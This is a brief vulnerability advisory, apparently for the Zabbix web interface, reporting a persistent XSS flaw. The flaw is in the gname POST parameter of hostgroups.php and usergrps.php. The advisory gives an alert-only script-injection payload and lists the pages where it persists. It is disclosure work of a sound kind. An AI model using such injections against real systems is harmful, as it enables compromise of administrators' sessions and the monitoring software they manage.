These URL's are vulnerable to persistent XSS attacks due to improper sanitation of gname variable when creating user and host groups.

URL:
hostgroups.php
usergrps.php

Vulnerable parameter:
gname

Method:
POST

Injected:
"</options><script>alert('XSS')</script>

Persists in:
http://test/zabbix/hostgroups.php
http://test/zabbix/users.php
http://test/zabbix/hosts.php?form=update&hostid=N (where N is a valid hostid)
http://test/zabbix/scripts.php?form=1&scriptid=N (where N is a valid scriptid)
http://test/zabbix/maintenance.php